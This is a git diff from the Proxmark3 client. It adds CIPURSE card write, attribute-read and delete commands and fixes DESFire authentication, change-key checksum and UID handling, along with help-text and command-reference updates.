PrintAndLogEx(INFO, "File id: %x is empty", fileId);
|
||||
else
|
||||
PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len));
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseWriteFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse write",
|
||||
"Write file by file ID with key ID and key",
|
||||
"hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and write file with id 2ff7\n"
|
||||
"hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and write file\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
|
||||
arg_lit0(NULL, "noauth", "read file without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_str0("c", "content", "<hex>", "new file content"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
size_t offset = arg_get_int_def(ctx, 6, 0);
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 7);
|
||||
|
||||
hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen);
|
||||
if (hdatalen == 0) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen));
|
||||
}
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File write " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File id: %x successfully written.", fileId);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseReadFileAttr(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse aread",
|
||||
"Read file attributes by file ID with key ID and key",
|
||||
"hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file attributes with id 2ff7\n"
|
||||
"hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file attributes\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_lit0(NULL, "noauth", "read file attributes without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_lit0(NULL, "sel-adf", "show info about ADF itself"),
|
||||
arg_lit0(NULL, "sel-mf", "show info about master file"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 6);
|
||||
|
||||
bool seladf = arg_get_lit(ctx, 9);
|
||||
bool selmf = arg_get_lit(ctx, 10);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
if (seladf == false) {
|
||||
if (selmf)
|
||||
res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw);
|
||||
else
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (len == 0) {
|
||||
PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId);
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len));
|
||||
|
||||
CIPURSEPrintFileAttr(buf, len);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseDeleteFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse delete",
|
||||
"Read file by file ID with key ID and key",
|
||||
"hf cipurse delete -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and delete file with id 2ff7\n"
|
||||
"hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and delete file\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
|
||||
res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
bool CheckCardCipurse(void) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
int res = CIPURSESelect(true, false, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
return (res == 0 && sw == 0x9000);
|
||||
}
|
||||
|
||||
static command_t CommandTable[] = {
|
||||
{"help", CmdHelp, AlwaysAvailable, "This help."},
|
||||
{"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."},
|
||||
{"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."},
|
||||
{"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."},
|
||||
{"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."},
|
||||
{"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."},
|
||||
{"delete", CmdHFCipurseDeleteFile, IfPm3Iso14443a, "Delete file."},
|
||||
{NULL, NULL, 0, NULL}
|
||||
};
|
||||
|
||||
int CmdHFCipurse(const char *Cmd) {
|
||||
clearCommandBuffer();
|
||||
return CmdsParse(CommandTable, Cmd);
|
||||
}
|
||||
|
||||
int CmdHelp(const char *Cmd) {
|
||||
(void)Cmd; // Cmd is not used so far
|
||||
CmdsHelp(CommandTable);
|
||||
return PM3_SUCCESS;
|
||||
}
|
25
client/src/cmdhfcipurse.h
Normal file
25
client/src/cmdhfcipurse.h
Normal file
|
@ -0,0 +1,25 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// High frequency FIDO U2F and FIDO2 contactless authenticators
|
||||
//-----------------------------------------------------------------------------
|
||||
//
|
||||
// JAVA implementation here:
|
||||
//
|
||||
// https://github.com/duychuongvn/cipurse-card-core
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef CMDHFCIPURSE_H__
|
||||
#define CMDHFCIPURSE_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
int CmdHFCipurse(const char *Cmd);
|
||||
|
||||
bool CheckCardCipurse(void);
|
||||
|
||||
#endif
|
|
@ -38,7 +38,7 @@
|
|||
#include "fileutils.h" // laodFileJSONroot
|
||||
|
||||
#define DEF_FIDO_SIZE 2048
|
||||
#define DEF_FIDO_PARAM_FILE "fido2_defparams.json"
|
||||
#define DEF_FIDO_PARAM_FILE "hf_fido2_defparams.json"
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
|
@ -654,7 +654,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) {
|
|||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf fido make",
|
||||
"Execute a FIDO2 Make Credential command. Needs json file with parameters.\n"
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.",
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.\n"
|
||||
"- for yubikey there must be only one option `\"rk\": true` or false"
|
||||
,
|
||||
"hf fido make --> use default parameters file `fido2_defparams.json`\n"
|
||||
"hf fido make -f test.json --> use parameters file `text.json`"
|
||||
);
|
||||
|
@ -772,7 +774,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) {
|
|||
CLIParserInit(&ctx, "hf fido assert",
|
||||
"Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n"
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.\n"
|
||||
"- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)"
|
||||
"- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)\n"
|
||||
"- for yubikey there must be only one option `\"up\": true` or false"
|
||||
,
|
||||
"hf fido assert --> default parameters file `fido2_defparams.json`\n"
|
||||
"hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId");
|
||||
|
|
|
@ -983,7 +983,17 @@ static int handler_desfire_auth(mfdes_authinput_t *payload, mfdes_auth_res_t *rp
|
|||
}
|
||||
|
||||
// Part 4
|
||||
tag->session_key = &default_key;
|
||||
// tag->session_key = &default_key;
|
||||
struct desfire_key *p = realloc (tag->session_key,sizeof(struct desfire_key));
|
||||
if (!p) {
|
||||
PrintAndLogEx(FAILED, "Cannot allocate memory for session keys");
|
||||
free(tag->session_key);
|
||||
return PM3_EMALLOC;
|
||||
}
|
||||
tag->session_key = p;
|
||||
|
||||
memset (tag->session_key, 0x00, sizeof(struct desfire_key));
|
||||
|
||||
Desfire_session_key_new(RndA, RndB, key, tag->session_key);
|
||||
|
||||
if (payload->mode != MFDES_AUTH_PICC) {
|
||||
|
@ -1017,10 +1027,18 @@ static int handler_desfire_auth(mfdes_authinput_t *payload, mfdes_auth_res_t *rp
|
|||
}
|
||||
}
|
||||
|
||||
// If the 3Des key first 8 bytes = 2nd 8 Bytes then we are really using Singe Des
|
||||
// As such we need to set the session key such that the 2nd 8 bytes = 1st 8 Bytes
|
||||
if (payload->algo == MFDES_ALGO_3DES) {
|
||||
if (memcmp(key->data,&key->data[8],8) == 0)
|
||||
memcpy(&tag->session_key->data[8], tag->session_key->data, 8);
|
||||
}
|
||||
|
||||
rpayload->sessionkeylen = payload->keylen;
|
||||
memcpy(rpayload->sessionkey, tag->session_key->data, rpayload->sessionkeylen);
|
||||
memset(tag->ivect, 0, MAX_CRYPTO_BLOCK_SIZE);
|
||||
tag->authenticated_key_no = payload->keyno;
|
||||
|
||||
if (tag->authentication_scheme == AS_NEW) {
|
||||
cmac_generate_subkeys(tag->session_key, MCD_RECEIVE);
|
||||
}
|
||||
|
@ -1206,7 +1224,7 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n
|
|||
sAPDU apdu = {0x90, MFDES_CHANGE_KEY, 0x00, 0x00, 0x01, data}; // 0xC4
|
||||
|
||||
size_t cmdcnt = 0;
|
||||
uint8_t csPkt[30] = {0x00}; // temp storage for AES first CheckSum
|
||||
uint8_t csPkt[100] = {0x00}; // temp storage for AES/3K3Des packet to calculate checksum (size ????)
|
||||
|
||||
uint8_t new_key_length = 16;
|
||||
switch (new_algo) {
|
||||
|
@ -1264,6 +1282,11 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n
|
|||
memcpy(&csPkt[1], data, 18);
|
||||
|
||||
desfire_crc32(csPkt, 19, data + 1 + cmdcnt);
|
||||
} else if (new_algo == MFDES_ALGO_3K3DES) {
|
||||
// 3K3Des checksum must cover : C4 <KeyNo> <PrevKey XOR NewKey>
|
||||
csPkt[0] = MFDES_CHANGE_KEY;
|
||||
memcpy (&csPkt[1], data, 25);
|
||||
desfire_crc32(csPkt, 26, data + 1 + cmdcnt);
|
||||
} else {
|
||||
desfire_crc32_append(data + 1, cmdcnt);
|
||||
}
|
||||
|
@ -1281,11 +1304,16 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n
|
|||
break;
|
||||
case AS_NEW:
|
||||
if (new_algo == MFDES_ALGO_AES) {
|
||||
// AES Checksum must cover : C4<KeyNo> <PrevKey XOR Newkey> <NewKeyVer>
|
||||
// AES Checksum must cover : C4<KeyNo> <Newkey data> <NewKeyVer>
|
||||
// C4 01 A0B08090E0F0C0D02030001060704050 03
|
||||
csPkt[0] = 0xC4;
|
||||
csPkt[0] = MFDES_CHANGE_KEY;
|
||||
memcpy(&csPkt[1], data, 18);
|
||||
desfire_crc32(csPkt, 19, data + 1 + cmdcnt);
|
||||
} else if (new_algo == MFDES_ALGO_3K3DES) {
|
||||
// 3K3Des checksum must cover : C4 <KeyNo> <Newkey Data>
|
||||
csPkt[0] = MFDES_CHANGE_KEY;
|
||||
memcpy (&csPkt[1], data, 25);
|
||||
desfire_crc32(csPkt, 26, data + 1 + cmdcnt);
|
||||
} else {
|
||||
desfire_crc32_append(data + 1, cmdcnt);
|
||||
}
|
||||
|
@ -1298,8 +1326,8 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n
|
|||
|
||||
uint8_t *p = mifare_cryto_preprocess_data(tag, data + 1, (size_t *)&cmdcnt, 0, MDCM_ENCIPHERED | ENC_COMMAND | NO_CRC);
|
||||
apdu.Lc = (uint8_t)cmdcnt + 1;
|
||||
// apdu.data = p;
|
||||
// the above data pointed to from p did not have the key no. at the start, so copy preprocessed data after the key no.
|
||||
// apdu.data = p;
|
||||
// the above data pointed to from p did not have the key no. at the start, so copy preprocessed data after the key no.
|
||||
memcpy(&data[1], p, cmdcnt);
|
||||
apdu.data = data;
|
||||
|
||||
|
@ -1319,11 +1347,17 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n
|
|||
|
||||
size_t sn = recv_len;
|
||||
|
||||
if (new_algo == MFDES_ALGO_AES) {
|
||||
|
||||
if ((new_algo == MFDES_ALGO_AES) || (new_algo == MFDES_ALGO_3K3DES))
|
||||
{
|
||||
// AES expects us to Calculate CMAC for status byte : OK 0x00 (0x91 00)
|
||||
// As such if we get this far without an error, we should be good
|
||||
// Since we are dropping the field, we dont need to maintain the CMAC etc.
|
||||
// Setting sn = 1 will allow the post process to just exit (as status only)
|
||||
|
||||
// Simular 3K3Des has some work to validate, but as long as the reply code was 00
|
||||
// e.g. 02 fe ec 77 ca 13 e0 c2 06 [91 00 (OK)] 69 67
|
||||
|
||||
sn = 1;
|
||||
}
|
||||
|
||||
|
@ -1608,6 +1642,15 @@ static int handler_desfire_getuid(uint8_t *uid) {
|
|||
sAPDU apdu = {0x90, MFDES_GET_UID, 0x00, 0x00, 0x00, NULL}; //0x51
|
||||
uint32_t recv_len = 0;
|
||||
uint16_t sw = 0;
|
||||
|
||||
// Setup the pre-process to update the IV etc. (not needed in the apdu to send to card)
|
||||
size_t plen = 1;
|
||||
uint8_t tmp_data[100] = { 0x00 }; // Note sure on size, but 100 is more then enough
|
||||
tmp_data[0] = MFDES_GET_UID;
|
||||
int8_t *p = mifare_cryto_preprocess_data(tag, tmp_data, &plen, 0, MDCM_PLAIN | CMAC_COMMAND);
|
||||
(void)p;
|
||||
|
||||
// Send request/apdu
|
||||
int res = send_desfire_cmd(&apdu, false, uid, &recv_len, &sw, 0, true);
|
||||
|
||||
if (res != PM3_SUCCESS)
|
||||
|
@ -1616,6 +1659,13 @@ static int handler_desfire_getuid(uint8_t *uid) {
|
|||
if (sw != status(MFDES_S_OPERATION_OK))
|
||||
return PM3_ESOFT;
|
||||
|
||||
// decrypt response
|
||||
size_t dlen = recv_len;
|
||||
p = mifare_cryto_postprocess_data(tag, uid, &dlen, CMAC_COMMAND | CMAC_VERIFY | MAC_VERIFY | MDCM_ENCIPHERED);
|
||||
(void)p;
|
||||
|
||||
DropFieldDesfire();
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
@ -2389,7 +2439,27 @@ static int CmdHF14ADesGetUID(const char *Cmd) {
|
|||
PrintAndLogEx(ERR, "Error on getting uid.");
|
||||
return res;
|
||||
}
|
||||
PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, sizeof(uid)));
|
||||
|
||||
// This could be done better. by the crc calc checks.
|
||||
// Extract the Card UID length (needs rework to allow for 10 Byte UID
|
||||
uint8_t uidlen = 16;
|
||||
|
||||
// Get datalen <uid len> + <crclen> by removing padding.
|
||||
while ((uidlen > 0) && (uid[uidlen] == 0x00))
|
||||
uidlen--;
|
||||
|
||||
if (tag->authentication_scheme == AS_LEGACY)
|
||||
uidlen -= 2; // 2 byte crc
|
||||
else
|
||||
uidlen -= 4; // 4 byte crc
|
||||
|
||||
if (uidlen <= 4) // < incase we trimmed a CRC 00 or more
|
||||
uidlen = 4;
|
||||
else
|
||||
uidlen = 7;
|
||||
|
||||
// PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, sizeof(uid)));
|
||||
PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, uidlen));
|
||||
return res;
|
||||
}
|
||||
|
||||
|
@ -2839,6 +2909,9 @@ static int CmdHF14ADesCreateFile(const char *Cmd) {
|
|||
memcpy(aid, (uint8_t *)&tag->selected_application, 3);
|
||||
}
|
||||
|
||||
// int res;
|
||||
// a select here seems to invalidate the current authentication with AMK and create file fails if not open access.
|
||||
// This will be managed when we track Authenticated or Note, so a place holder comment as a reminder.
|
||||
int res = handler_desfire_select_application(aid);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Couldn't select aid. Error %d", res);
|
||||
|
|
|
@ -973,7 +973,7 @@
|
|||
},
|
||||
"help": {
|
||||
"command": "help",
|
||||
"description": "help use `<command> help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210604.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save",
|
||||
"description": "help use `<command> help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log e:\\proxspace\\pm3/.proxmark3/logs/log_20210618.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save",
|
||||
"notes": [
|
||||
"auto"
|
||||
],
|
||||
|
@ -1682,6 +1682,123 @@
|
|||
],
|
||||
"usage": "hf 15 writedsfid [-h*2o] [-u <hex>] [--ua] --dsfid <dec>"
|
||||
},
|
||||
"hf cipurse aread": {
|
||||
"command": "hf cipurse aread",
|
||||
"description": "read file attributes by file id with key id and key",
|
||||
"notes": [
|
||||
"hf cipurse aread -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file attributes with id 2ff7",
|
||||
"hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file attributes"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help this help",
|
||||
"-a, --apdu show apdu requests and responses",
|
||||
"-v, --verbose show technical data",
|
||||
"-n, --keyid <dec> key id",
|
||||
"-k, --key <hex> key for authenticate",
|
||||
"-f, --file <hex> file id",
|
||||
"--noauth read file attributes without authentication",
|
||||
"--sreq <plain|mac(default)|encode> communication reader-picc security level",
|
||||
"--sresp <plain|mac(default)|encode> communication picc-reader security level",
|
||||
